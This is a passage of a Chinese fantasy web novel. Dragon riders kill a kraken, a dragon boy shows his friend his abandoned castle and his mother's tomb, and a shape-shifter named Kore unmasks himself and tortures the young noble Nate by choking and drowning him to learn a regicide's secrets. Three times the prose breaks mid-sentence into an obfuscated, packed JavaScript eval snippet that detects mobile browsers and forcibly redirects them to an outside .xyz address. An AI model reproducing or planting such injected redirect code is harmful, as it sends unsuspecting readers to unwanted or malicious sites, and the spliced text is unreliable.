“克拉肯出现了!冲锋!”翼龙军团的队员叫道,骑着翼龙转瞬俯冲下去,翼龙飞翔的速度极快,它们能从克拉肯卷起的触手中间穿过,尾翼端头的骨刺一闪,便把这条触手划出一个半米粗的口子。克拉肯吃痛一声,想把受伤的触须收回来,另一条翼龙已经用双脚抓住了这条触须,骑乘它的队员抽出佩刀,刀光一闪,这条触手就被彻底从克拉肯身上撤下来,而后驾驶员驾驶翼龙快速后撤,克拉肯再也来不及用断掉的触须重生了。另有几人持弩,黑铁长箭数十支刺进怪物的躯体里,如切开奶油。 内特也跟着驱使安吉尔冲锋,安吉尔早已等得不耐烦,它的加速是所有翼龙中最快的,在其他人还在对付克拉肯的触手时,安吉尔直接冲向它的眼睛,随后撑开双翼做了一个减速,双脚伸入海水中,内特只来得及紧紧抓住她的背鳍,被溅起的海水激得睁不开眼睛,而安吉尔彷佛扯住什么东西一般,全身猛然发力,却迟迟没能起飞。克拉肯分出一条触须,专门袭向内特,一层层银色的空间屏障在内特身侧张开,和数米粗的触手撞上,内特只感觉精神一阵剧痛,他的空间防御却稳稳地撑住了,没有破碎。而就是这几秒,安吉尔已经把克拉肯的一只眼球扯了下来,她振翅升空,这只黄色的,荡着无数条红色细丝和粘液地球形器官被她抓在爪子里,然后如同垃圾般被她扔开。 克拉肯失去一只眼睛,浑身剧痛,已然陷入暴怒。翼龙们虽然灵巧,可造成的伤害毕竟有限,即使已经砍下了接近三条触须,对于这个体长两百米以上的巨物来说,也远远称不上重伤。而指挥官科尔不在,剩下八人地分工也是一片混乱,内特正希望能在空中再停留几分钟,缓解一下刚才的头痛,安吉尔已经战意正旺,又一次俯冲下去。 “慢点,安吉尔!”内特叫道,抓住她的龙角,“其他人跟不上你!我们太危险了!” 安吉尔再一次扑向一只眼球,然而这一次克拉肯已经有了防备,当内特试图再一次制造空间屏障时,克拉肯剩余的六只黄色眼球突然齐齐瞪向他——海怪邪恶怪异的注视让内特感觉大脑一寒,仿佛一瞬间被无数只冰冷至极的手抓住,只感觉头痛欲裂,再也凝聚不了屏障。克拉肯的触手伸了过来,内特痛得几乎睁不开眼睛,生死攸关之际是如此要命,他却什么都做不了—— “永冻之霜!” 一声冷叱,冰冷猛烈的寒风从海面上刮过,夹杂着大团大团的雪花和冰粒,这片几百米的区域,瞬间被冻得犹如严寒。内特回过神来,重新睁开眼睛,发现自己不知何时已经从安吉尔背上掉下去了,此刻正被涅西丝单手捞在怀里,她另一只手抓着浑身是水的翼龙军团长科尔·卡梅隆。 涅西丝保持着人类的形态悬在空中,双手、双脚覆着坚硬的龙鳞,一对冰蓝色的翅膀从她的后背伸出来,正缓缓拍打着。那条袭向内特的要命触手此刻已被她冻成冰雕,涅西丝呼出一口冻气,这条触手便被碎成几块,肉粉色的血肉和白色的血管从断裂的缺口中探出来。 安吉尔与海拉飞了回来,涅西丝把两人扔到翼龙背上,哼了一声,然后飞到空中,张开双手。环绕着她的风越转越快,她周围几十米的气温飞速降低,已到达零下负几十度。空气重新凝结成冰,涅西丝化成一条白龙,翅膀一扇,这团极寒龙卷便向克拉肯飞去。 “散开!”科尔朝翼龙军团的其他人吼道,队员立刻不再恋战,纷纷乘着翼龙升空,而这团冰龙卷穿过海水,海水冻结;卷起克拉肯的触须,那触须也停止移动,被冻在冰里。白龙振翅飞过来,再一次释放风暴般的寒气,无数冰棱从空气中凝结,然后如标枪般从天空坠落,直直插入海怪的身躯中,把本就因寒冷而变脆的□□插个对穿。 “我没法杀死它!”涅西丝说,“它太大了,我的冻气穿不过去!” 卡尔乘着海拉飞到克拉肯上方,连扔下两颗声之刻。黑色的小球在黑水中炸开,两次次声波再次冲击,爆炸般的能量穿越克拉肯被冻住的皮肤,把它剐蹭的鳞片翻飞,血肉模糊。但是在冰层下,克拉肯牛吼般的声音只增不减,那些白色的血肉在水底下翻卷,内特可以看见肌肉纤维在飞速的重组,而它已经感觉到战斗的情况不对,开始收缩躯体,要往深水区下潜。 “它要跑了!”涅西丝叫道。 “不能让它走,拉住它!”科尔命令道,带着翼龙再次俯冲,拽住它还未收入海水中的几条触手。翼龙拼命的拍打翅膀,涅西丝也再一次吐出冻气,把克拉肯连同它所在的几十米海水一大半冻住,硬生生让这个庞然大物的动作停住了。 冰层发出咯咯的声音,而即使八条翼龙拼尽全力,这个僵持的状态也会在十几秒后被打破。 必须杀死它。内特想,一旦这次让它逃了,再想杀死它就很难了。 他驾着安吉尔飞到科尔身边,问道: “还有声之刻吗,科尔?” “还有最后一颗,”科尔把最后一刻小球掏出来,交到内特手上。“但是效果你也看到了,它的威力根本不足以致死。你要干嘛?你去哪?” 内特握着这颗小球,深吸一口气。然后他拍了拍安吉尔,他的翼龙与主人心灵相通,轻轻叫了一声。 “再疯狂一次吧,安吉尔。”内特说,嘱咐道科尔:“记住,千万不要让它合拢嘴巴。” 安吉尔震动翅膀,高鸣一声,向几百米长的海怪俯冲下去。内特紧紧趴在她的背上,抓着翼龙的龙角,红色的翼龙如同坠下的流星。克拉肯的嘴部是在七只眼球核心的圆形空间,直径几十米,嘴部由内而外长着两三米高的锋利巨齿,像一个螺旋的搅碎机管道。因为先前为了吞噬死掉的海鱼,此刻这张嘴还大张着,海水从它的嘴角向内灌进去,犹如一个通往地狱的黑色隧道。 冲进嘴部的那一瞬间,腥气铺面,内特便后悔起来,但也顾不得那么多了。安吉尔还在往更深处飞翔,克拉肯的喉咙内部极为寒冷黑暗,只有从口部外面有一丁点外界的月光透露进来。 似乎感觉到有东西进入自己的体内,克拉肯开始收拢口腔,那一层层白色的牙齿和被冰冻住的皮肤咔咔作响,涅西丝的翅膀扇动起来,双爪伸入海水中,发出一声龙啸,无数十几米厚的冰柱生长出来,硬生生卡在克拉肯的巨口中央,不让它把嘴合上。 转瞬之间,内特已经到了光源最微弱的地方,再往下飞,他就要彻底陷入黑暗。倘若死在这里,他便是真的死无葬身之地了。海怪内脏的肌肉形成的墙壁收缩着,涌动着,由外往内压下来。内特强忍住心中的恐惧和不安,将这最后一颗’声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502527|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之刻‘扔了下去。银色的光芒发动了,笼罩着他和安吉尔的全身,现在只要他将两者传送出去—— 光一瞬间消失了。 无数冰棱海水从内特的头部上层倒灌下来,克拉肯全身发力,只听咯锵几声,竟硬生生把冰柱咬碎,而它原本被翼龙群扯住的触须直接断裂,翼龙们骤然失力,一下子被甩出去几十米。而克拉肯已经一瞬间沉入水中,任何人想钻进水中把它抓出来是不可能了。 一声沉闷的钝响,在黑暗中发动。克拉肯的七只眼睛一瞬间瞪大了,它们向外凸起,眼圈中的血管肉眼可见的开始变粗膨大,然后彻底爆开,它全身的血肉都僵住了,接着是一阵阵的剧烈颤抖,仿佛有什么东西在它体内震动,连带着这个庞然大物也跟着诡异的抖动起来。它的八根触手还在搅动着海水,可是它们再也不能游动了,涅西丝可以看见它全身的肌肉一块块炸开,无数声轰鸣叠加着扩大,爆裂般,疯狂的,像世界末日。体长三百米、重三千吨,不知情感、不知痛苦、不知恐惧的生物,克拉肯,天使的威严,声音的刻痕,就此化为碎片。 “我们杀掉它了?”过了片刻,其中一人率先来到科尔身边,难以置信地问,“它彻底死了?我们的工作完成了?” 科尔双手抱头,扯住自己的卷发,“完成你大爷啊!大臣之子也死了啊!我回去咋交代啊?他为什么要一个人冲进去啊?怎么死的不是你啊!” “死你大爷。谁死了?” 一个不爽的声音在众人背后响起,只见银色的繁复花纹重新在空间中凝聚,内特好端端的坐在安吉尔的背上,橘色的翼龙得意地叫了一声。 “内特!”科尔如蒙大赦般松了口气,抓住他的胳膊,“你没事吧?” 内特皱了一下眉毛,科尔松开手,发现内特的手臂正汩汩地流着血。 “估计是什么时候不小心划到的,“内特说,抬起手腕,露出那串仍闪烁着光泽的‘天使之吻’手镯。 “原本是跑不出来了,不过‘天使之吻’救了我一命。”内特说到,“它的传送能力没有限制的,我才能被它送出来。记住了,以后不可以让本大爷到没有光的地方去。” 内特的话音未落,只听海水里骤然一阵波动,只见一个红黄色的肉球般的东西向深海坠入,那是克拉肯心脏部分的碎片,这样的生物即使将它们切成碎片,只要属于心脏的部分还有一大半,就能继续重新组装长大。那时候 ,内特和所有人今天的努力就白费了。 说时迟那时快,一个冰白色的影子霎那冲入水中,冰棱包裹着她的身躯,让她在滑入水中时速度几乎不减。她的爪子抓住那块正在逃逸的肉块,扇动翅膀、搅动冰冷的海水,从水中飞跃而出,那些被她震碎的浪花在下坠的那刻又因为冻气被凝结成冰花,如同包裹着她从水中绽放的冰晶花柱。白龙抓着克拉肯已被冻僵的心脏,尖啸一声,把那个几米长的肉块在空中扯成两半。随后,涅西丝冰蓝色的眼睛瞥了内特一眼,嘶叫一声,振翅飞向港湾。 内特呆呆地注视着涅西丝飞远的身影,科尔凑到他身边,对着涅西丝的方向叹了口气:“你很难判断她究竟是人类还是怪物,对吧?” 科尔驾驶海拉回收了剩余的脏器,随后于众人一起返回里加湾。 39. 39-暗堡 罪门重新化为黑龙的样子,让格劳斯骑在自己的背上,然后振翅飞往那座山顶的黑色堡垒。 等两人落到正殿门外,还能看见罪门先前用爪子在地上划的‘禁止越界’线。看见这条线,罪门立刻跑过去把它擦的一干二净,然后转过头对格劳斯说:“快进来,哥们!“ 格劳斯在心中忍俊不禁,跟在这条黑龙后面,第一次踏足这座虽已风化,却仍肃穆雄伟的巨堡。城堡主体用上千吨的黑色花岗岩组成,堡垒依山而修,其正殿高几十米,正走进去,是数十根黑色柱子合围的穹顶结构,白色的石阶从正门开始沿着墙面向上盘旋,连接二层和最顶层,正殿的穹顶镂空,格劳斯从地板上走过,依稀能听见狂风在头顶盘旋呼啸的声音。 “你家大得说话都有回声了。”格劳斯忍不住说道,罪门挠挠头,然后拉着格劳斯沿着台阶向上,走到二层悬空的连廊。墙壁上还挂着十几张人高的装饰画,只是随着风雨侵蚀,画布早已脱落斑驳,只剩一些人影依稀可见。 “这些画的是你的父母吗?”格劳斯问。 罪门侧头看了一下,耸耸肩。“唔,我也不知道。应该挺有名的吧,反正上面没有我。” 走到二层,走道分成两条,一条伸向古堡室内,分布着好几个房间;另一侧是通往室外的石桥,与另一座露天的高台相连,只是中间的石桥本身已经残破不堪,人走在上面,不仅摇摇欲坠,而且狂风呼啸,稍有不慎,便会掉下百米高空,摔得粉身碎骨。 见罪门要拉着自己往露台外走,格劳斯连忙摇头。 “我不去!这路太陡了,没看见我连鞋都没有吗?” “没事的,哥们!我会扶着你的!” “你不扶我就死定了!” 饶是如此,格劳斯还是紧紧拽着罪门的手腕,罪门的翅膀在背后扑扇,格劳斯如抓着一个浮力极大的气球,磨磨蹭蹭的终于穿过石桥,来到这个被罪门称为“观星台”的地方。 观星台的地面铺着半透明的琉璃,就像一颗半球,石面上刻着无数花纹和数字,无数细线从中心发散,把它分成上百小格。格劳斯不明所以,罪门便指着这些图案给格劳斯解释: “这些是星星的位置。现在刻针的正北方是,天龙座。然后,往南十五度是猎犬座。很久以前,父亲就在这里,教我归家的方向……” “原来如此,这样你无论飞到哪里,只要看见星星,就能回到这座小岛了?” 罪门点点头。 “和你对话的语言,也是爸爸教我的。还有处理食物的方式。可是我还没学会,父亲就离开了……” “他离开了?” 罪门坐到废弃的观星台的外延上,把手搭在身边,两条长腿悬空一晃一晃。 “那天,就是在这里,同你对话一样。爸爸说,‘罪门,我要去处理一些事情,在这等我。’”罪门仰起头,黑白相间的头发遮住了他的眼睛。“可是爸爸再也没有回来。而我……我一直等待着,我想,只要等在这里,总有一天,能再见到他吧?那时,我就像过去一样,和爸爸撒娇,和他对话。” 格劳斯沉默了一下,在罪门旁边盘腿坐下。“罪门,从你父亲离开到现在,过了多久?” 罪门回过头,看了一眼观星台周围的刻度。 “太阳升起落下,星星便会偏移。天龙座重新回到正北,便是一年。从那天到现在……过了十五年。”罪门把脑袋靠在格劳斯的肩上,“爸爸其实再也不会回来了,对不对?” 格劳斯不知道如何回答。他从生来就没有父母,不明白等待的含义。罪门曾拥有父母,可代价便是十五年的怀抱着期待的等待,等到忘记了真正的形态,忘记了对话的能力。可是他的父亲或许再也不会回来了,知道真相的时候,那究竟是失望,还是解脱? 格劳斯说:“这种事,我也不知道。我从来没有父母,是村长抚养我长大。但是,罪门,无论你的父亲是否归来,只要拥有生命,就总能发生新的故事。这总是值得期待的。” 听罢,罪门的脸上重新露出笑容,他高兴的拉着格劳斯站起来。 “说得对,哥们。以前我只有自己一个人,现在却有了你。我已经很幸福啦!你还想去哪转转?” 罪门带着格劳斯把这座城堡主建筑里的房间大大小小都转了个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502528|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍,大多数靠近海岸的房间因为窗户破损,早已被雨水泡烂,不仅墙壁脱落,里面的家具也都腐烂风化,格劳斯轻轻一碰,便化成灰尘。 塔楼里的藏书室倒是保存的比较好,这里没有窗户,还用特制的樟木制作书柜,避免虫蛀。格劳斯随手翻开一本书,扫开上面的灰尘,发现里面用文字记述着: 【……次年,先王帅军百万,于黑河决战亡者行军——】 格劳斯看不太懂这些文字,他和罪门对历史都是一窍不通,看了好几页,只感觉头昏脑胀,加上藏书室空间密闭,气味浑浊,两人很快抛下书籍,离开藏书室。沿着塔楼的石阶向下走,大概走了几十级台阶,便下到一个极深极空旷的区域。这片地下空间的岩壁里含有磷粉,因此在黑暗中也闪着莹莹的光。 “这是哪里?”格劳斯疑惑地问。 罪门的表情变得沉重了一些。 “这是纳古堂。父亲说,死去的人会,埋在这里。”他带着格劳斯往前走,地下长廊的两侧每隔一段距离便会出现一面嵌入地里的长方形石匣,其上刻着凸起的人身浮雕,反映着死者生前的容貌。在浮雕的下方则是几行铭文,用以纪念死者的身份。两人一路向前走,荧光闪烁,寒气刺骨,格劳斯不觉有些发抖。 穿过大约十余面石墓,罪门带着格劳斯在墓群的尽头停下。那里一面的墓已经有石面封裹,另外两张还空着,还保持七八米深的墓穴的模样。 “这个位置是,我和父亲的。”罪门惨笑了一下,“意识到、这件事,我就,再没来过。若不是有哥们你,我,真的不想来这里。” 格劳斯的目光很快从那两个空的墓穴,移到旁边那个看起来最后合上的石墓。三米长的白色大理石面上刻着一位凸起的女性浮雕,她的容貌端庄肃穆,双目微合,穿一袭长裙,双手拢在胸前,捧着一团盛开的花。 “这是,我的母亲。”斥雷罪门说,“我……猜测是这样。” 那座合拢的墓铭上刻着: 此处 暗堡 世界之胎,心灵之墓 埋葬着 妻子,朋友 拉赫·克劳狄 40. 40-真相 · 威斯汀·海森堡正在书房里阅读简报,突然听到窗外传来阵阵吼声。他打开窗户,看见自己黑色的翼龙霍顿悬停在半空,双翼拍动,发出飒飒响声。 “霍顿?你怎么来了?”海森堡疑惑地问。 巨大的黑色翼龙低吼几声,发出威胁地叫声,示意海森堡乘到自己背上。 “是吗……”海森堡思索片刻,随后直接翻窗而出,踩到翼龙坚硬的后背上。然后,他对屋里的副官嘱咐道:“让特里同中将加强皇宫附近的防守,在我回来之前,保证任何时候都要有人守在庞贝身边。” 而后,黑色的翼龙之王腾空而起,载着威斯汀·海森堡飞向远方。 ·· 内特是被众人簇拥着回到驿馆的。大厅里人来人往,食物喷香,灯火通明,一盘盘海虾,鲜鱼和带子被从后厨端上来,摆的满桌都是。 “敬我们的大功臣!”科尔高兴地说,率先举起酒杯:”内特·梅菲杰拉德,他无愧为海森堡将军的学生!是他杀死了克拉肯!“ “明明我功劳也很大吧……”涅西丝懒洋洋地靠在一边,她没有喝酒,只是百无聊赖地靠在椅子上,跷着双腿,手指推着桌上的酒杯。当然,先前的战斗若不是涅西丝在关键时刻把内特和科尔两人救下,又把海水冻住,最后杀死克拉肯就绝无可能了。但是涅西丝并不介意别人对她的忽视,当内特问及她先前去哪时,她只是懒洋洋地解释,因为一直没人管自己,她便先去海上巡逻了一圈,把里加湾附近的地形都看了一遍。回来时正好赶上翼龙军团和克拉肯厮斗,便自然出手了。 又是一个来敬酒的人,许多人不只是感激翼龙军团杀死了肆虐已久的海怪,更是想借机攀慕鼎鼎大名的梅菲杰拉德家族,他的父亲作为整个王国的财政大臣,帝国之眼,其权势滔天、几乎让人难以想象;倘若能和他的儿子搭上关系,后半生的荣华富贵几乎近在眼前。 这些海港酒馆的精酿,大多是度数极高的浓缩,海员只求一杯就能起劲,和内特惯常喝的香槟、红酒就不一样了。因此内特喝了几口,就感觉头脑发热,有些晕晕乎乎。内特看向一旁的涅西丝,她还是与世无争,不沾油腥的样子,开口问道:“你不吃东西吗,涅西丝?” 涅西丝瞥了他一眼,露出虎牙,吐了吐舌头:“我想吃你!” 内特哈哈大笑起来,从空间里抽出一大把金币撒到桌上。 “今天的账都算在我身上!”内特说,“大家尽情的吃喝!” 看到那座小山似地金子,许多人眼都直了,要知道在卡克奇克大陆,许多人忙碌工作一年,能攒下的不过几十枚金币,此刻内特随手一掷,就可以让许多人连续几年吃喝不愁。 科尔在一旁低声劝阻到:“公子,还是注意一点,别露富了。” 内特仰起头咯咯笑着,侧目问向科尔:“你也想要钱吗,科尔?想要多少?” 科尔无奈地抚了抚额头,示意餐厅老板赶紧把那些钱取走,餐厅人多眼杂,这样一笔巨款摆在桌上,总是难免引起事端。 眼看着时间不早了,还是有人陆续在来找内特敬酒,内特连这些人的名字都记不住,也不在乎对方说了什么,都让科尔替他挡了酒,说几句话搪塞下去。 “多谢公子相助,”一个穿着风衣,风尘仆仆的男性说,“克拉肯一死,以后我们在航路上可以安心多了。过去的三个月,几乎没法出海了。” 内特连头都懒得抬,摆了摆手。“这是当然的吧?你们好好干,”内特说,“别让本大爷的努力白费。” 年长的人又说了几句好话,正要离开,就听他背后的矮个子青年说道: “船长,问问他为什么现在才来!要是他们早一个月,好多人就不会死——” “哈啊?”内特不高兴地问,“你在指责我?你们自己没本事处理海怪,本大爷屈尊降贵的来到这个破地,还嫌我来得晚了?” “卡伦卡特!”年长的人指责了身后的青年一句,又回过头来向内特道歉:“船员不懂事,您别在意。公子肯出手相助,我们大家感谢都来不及,怎么会心存不满?” 内特一手撑着下巴,耸了耸肩,“你们能捡了条命就该知足了。”内特说,“反正是下等民,死就死了……” “船长,您听见他说了!”卡伦卡特在船长背后叫道,“他们根本不在乎!要是他能早来一个月,格劳斯也不会死——” 莱森船长猛地转身,狠狠打了卡伦卡特一巴掌。 “够了,卡伦卡特!你还想放肆到什么时候?”莱森怒气冲冲地说,“滚!我不想再看见你!” 所有人都听得到酒杯破碎的声音。 梅菲杰拉德的少主,内特·梅菲杰拉德,摇摇晃晃地站起来,手上是泼洒的酒液。他面色苍白,浅金色的眼睛瞪得大大的。 “谁?……你说,谁?” 他站起身,抓住矮个青年的衣领,几乎把卡伦卡特提起来。 “你再说一遍他的名字?” 卡伦卡特知道自己闯了大祸,索性心一横,梗着脖子说到:“格劳斯·耶格尔,他是个好人!怎么,你现在在乎我的朋友了?” 内特粗暴地把卡伦卡特掷到地上,跟着就往屋外走。科尔急忙跟上,“怎么了,公子?你知道那个暗精灵说的,叫格劳斯的人?” 内特摇摇头,事实上,他不知道科尔在说什么,他心乱如麻,此刻甚至不知道自己身在何处。 死了?……怎么会?他不是跟自己发誓过,总有一天会回到自己身边?他的纹章能力,不是特别,难以杀死吗? 科尔拽住内特的手腕,把青年的脸转过来,看见内特银发散乱,双目无神,泪水从他的眼眶里流出来。 “你哭了,公子。”科尔说,“格劳斯是你很重要的人吗?” 内特低下头,擦了擦脸上的泪水, “我不认识……“他说,”我不知道你在说什么……” 科尔揽着内特往外走,“没事,公子,这世上叫格劳斯的人很多,说不定认错了。你认识的那位格劳斯有什么特征?” 内特不停地摇头,他不想听见这个名字,可科尔——科尔每一次念及这个名字,都让内特更加心乱如麻,那种痛苦又从心脏的边缘席卷一次。 “我不认识,别提了,科尔!”内特说。 “好吧,内特,我们去散散步吧。你喝醉了,太激动了。”科尔吹了声口哨,他青绿色的翼龙海拉便闻声而至,科尔扶着内特骑到翼龙上。 “为什么?我有安吉尔——” “现在我可不能放任你一个人骑翼龙。”科尔说,”我觉得,你更需要一个人看着。” 内特恍惚的点点头,也不在乎科尔说了什么,他们很快起飞了,港口的城市在脚下快速倒退,夜晚的海水上涨,潮汐一起一伏,海风渐渐吹散了内特身上的热气,开始让他觉得冷下来。 “我们要去哪?科尔?” 科尔仍揽着他,闻言,低头看了他一下。 “很快就到了,公子。之前我不是跟你提过,有个礼物要送给你吗?” “我现在没有心情,科尔。”内特垂下头去,他看着翼龙身下起伏的海水,只感觉他们离陆地越来越远了。晚上的天空很暗,云层很厚,连月亮的光都快看不见了。 “快到了,公子。快到了。”科尔喃喃道,他揽着内特的胳膊,不知道又飞了多久,直到海水变得寒冷漆黑,如墨如影,他们降落在一座怪石嶙峋的黑色大礁石上。这是一片错综复杂的礁石群,如果不是能驾驶翼龙,寻常的货船根本到不了这里。科尔所降落的礁石极为怪异,这块十几平米的大石像一块黑墨,又长满了苔藓,海水时不时就会没过脚面,内特几乎站不住。 科尔落地后,挥挥手,他青绿色的翼龙海拉鸣叫几声,就振翅飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502529|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走了。内特看着海拉飞翔的方向,疑惑地问:“你让你的翼龙飞走了?那么我们该怎么回去,科尔?” 科尔看了他一眼。 “你应该有纹章能力吧,公子?你的空间纹章是不是任何地方都能发动?” “但是只能在有光亮的地方。”内特说,“这里太暗了,如果我们呆久了,会很危险。” 科尔点点头。“这就是我要知道的。” “啊?” 科尔坐到他的旁边,”内特,你为什么会对那个叫格劳斯·耶格尔的名字其反应?他是你的什么人?” 内特烦躁地说:“我告诉你了,我不认识。我只是喝多了。“ 科尔捋了一把把海水吹湿的卷发,露出明亮的眼睛。“这样啊。能跟我讲讲别的吗?比如说,弑君者什么的。” 内特的动作僵了一下。“我不知道你在说什么……”内特说,“你想问这些问题,应该去我我爸爸,或者我的老师。” “我会的。”科尔笑着说,“我只是要确认一下。您知道弑君者的样子,对吗?” ——!内特几乎要跳起来,但是科尔抓住了他的手臂,不让他躲过去。 “三个月前,我们伟大的皇帝,托拜厄斯·乔·康斯坦丁死于一场扑朔迷离的刺杀。有关这件事的一切都被隐藏下来了,连新任皇帝知道的都不一定有我这个平民百姓多。”科尔说,“那位谜一样的刺客,在越狱不久后死亡。这是主教根据他的失血量和收集的肉块得到的判断。唔……他真的死了吗?现在,我反而有些疑惑了。” 内特感觉一阵慌乱,他扯开科尔抓着自己的手,逃避似的说:“我不想和你谈这些,科尔!你去陛下的御前问吧!” 科尔并没有阻止内特,他笑吟吟地松开手,任由内特发动能力。银色的空间之线如花纹般绽放出来,突然,内特的精神一振恍惚,彷佛一双大手在搅动自己的脑海。内特睁开眼睛,看见科尔黄褐色的眼睛不知何时已经覆上一层层黑色的螺纹,针扎般的层层痛感划过脑海,他银色的空间之线瞬间方寸大乱,那些曾经他熟悉的坐标如今也变得模糊不清。 呃……内特痛苦的哼了一声,他的空间之线弱下来,相反,科尔身上的气势却越来越强,他身上的皮肤开始褪色般变化,肉色的人类肌肉逐渐消失,取而代之的是无数褐黄色鳞片,从他那对黄色的眼睛开始,科尔的脸部,他的卷发,骨骼和肌肉,甚至身上的衣服都开始改变。内特想要逃走,但是这坐礁石的空间太小,他又一次试图发动空间纹章,银色的线条仅是浮现出来就又中断了。 “根本不长记性,你们人类。”男人变形的脸向两侧咧开,发出嘶哑尖细的声音。“已经吃过一次精神失控的亏,却仍能让我再做一次。” “精神失控?”内特虚弱的说,反应过来,“是你在竞技场上让克莱希失控的——” 科尔一脚踩在内特的小臂上,内特痛苦的惨叫一声,锋利的礁石已经扎进了他左手的肌肉。科尔咧开嘴,露出残忍的笑容。他牢牢压在青年的背上,感觉人类的骨骼在一点一点被自己踩碎的感觉。 “那次只是测试。想知道有没有精神能力的人,不过我很失望,你们的国家连发现我的‘变容’能力的人都没有。” “你不是科尔?你把他怎么了?” 他笑了一下。 “我就是科尔哦?只不过一直到现在,才决定用真面目示人哦。” 科尔此刻已不再是小个子了,他的身躯开始拉高,接近两米,他的头颅与其说是人类更像是蜥蜴,浑身覆盖着黄黑色的斑点状的鳞片,一条卷曲粗大的尾巴扫在身后。看到科尔的样子,内特突然想起来,塞福涅学士曾经提过的一种兽纹章……来自青泰坦中的一种,可以变成他人样子,甚至连精神也可以操控的,兽纹章…… 变色龙先生。(科尔·卡梅隆 Mr Kore Chameleon) 41.41-黑礁 “你好啊,小公子。”变色龙先生说,“很高兴你认识我。虽然,很快要说再见了。” · 变色龙蹲下巨大的身体,他的脚还压在内特的手臂上,因为重心的改变而发出咯咯的声音。变色龙撩起内特银色的头发,在眼前玩弄了一会。 “我听说,那位被称为’弑君者‘的人,是一位棕发青年。”他说,“如果所谓的死亡只是幌子,他真的逃跑了……小公子,你可就是最后一个见到活着的弑君者的人了。” “我们假设……那位弑君者,棕发的青年,他不知什么原因,逃出了亚斯提都。他会去哪呢?如果我是他,我肯定不会往内陆走,军队的人太多了。北方也不好,大片荒野,什么都没有。嗯,这样就只剩西方的草原和东方的港口了。但是草原还要跋涉上千公里,他会选择那条道吗?” 内特的眼睛颤动了一下,变色龙知道自己猜对了。 “是的,他到了里加湾,最大的港口。然后,又成功上了船,只要顺着洋流一路往南,说不定真能到达红泰坦那帮人的领地呢。嗯……可惜,他的船出了海难,葬身鱼腹。克拉肯把他撕碎了,小公子。” “格劳斯·耶格尔,”宛如吟诵一般的,青泰坦念叨着,“你的那位死去的朋友,不会刚好也是棕头发吧?” 内特被压在地上,他听着变色龙的声音,感觉心脏钝钝的痛。直到这个时候,他意识到格劳斯·耶格尔真的死了,死在海上,他再也不会回来了。科尔把内特翻过来,看见他失神的双眼,黄色的眼睛慢慢睁开。 凝视我。 一阵低语从变色龙口中吐出。 内特被迫对上变色龙黄褐色的眼睛,泰坦眼睛中层层的黑色螺纹仿佛在缓慢的旋转,而被迫注视它的感觉让内特感觉恍惚恶心。内特忍住呕吐的冲动,挣扎起来,而变色龙好像第一次见到还抱有意识挣扎的猎物,它黄色的眼睛稍微睁大了一些。 更强烈的痛苦从脑海里传来,彷佛一只大手伸进了自己的脑海,在自己的头皮里残忍的搅动着。内特的眼前是大片大片的星花,他忍不住痛得呻吟,几乎昏厥,而变色龙也露出烦躁的神情。变色龙的眼睛眨了一下,精神干扰消失了,随后,它松开踩着内特左臂的脚,看着他扭曲的胳膊以一个怪异的角度垂着,揪着内特的头发把他的头仰起来。 “妈的,你的脑子究竟是怎么回事?”变色龙不耐烦地问,“暗示也没用,难道你的空间能力还有什么精神屏障吗?” 内特痛苦地喘着气,感觉头脑里仍是一阵阵发黑的眩晕。尽管如此,他仍不屑地朝变色龙嘲笑道:“你那个三脚猫的精神能力,也想掌控本大爷的脑子? 彷佛被内特的回答逗笑般,变色龙先生咧开嘴,露出残忍地笑容。“哈哈,是吗?你要知道,精神询问不行的话,审讯的老办法总是行得通的。” 他把内特举起来,一只手捏紧内特的喉咙,缓缓收紧。 内特挣扎起来,他被憋得面色发紫,剩余完好的右手徒劳的掰着变色龙的手指,却感觉肺里的空气还是越来越少,很快,因为肺的过度使用,连呼吸都抽痛起来。 变色龙让手指稍微放松一点。 “第一个问题。”变色龙说,“可以杀死战争天使的能力,弑君者格劳斯·耶格尔的纹章——是什么,内特?” “下地狱吧,你这畜生……”内特吐着气说,“我无可奉告。” 变色龙歪了歪头,他保持着仍掐着他的姿势,把青年拖到了礁石的边缘,然后猛地把内特塞进海里。内特挣扎起来,海水淹没了他,他本就因为变色龙收紧的手指而呼不上气,此刻张开嘴,海水便倒灌进肺里,一大串气泡从内特的口中吐出,而他的肺抽动着,气管因为呼不到空气而膨胀起来,内特感觉到自己的眼球也开始充血,眼前的世界大片大片的星花。 好痛苦…… 大概过了一个世纪那么漫长,他又被从海里捞出来,变色龙再一次提问到:“第二个问题。你父亲的能力是什么?” 内特几乎失去意识。他喃喃的说:“滚吧,爬虫……” 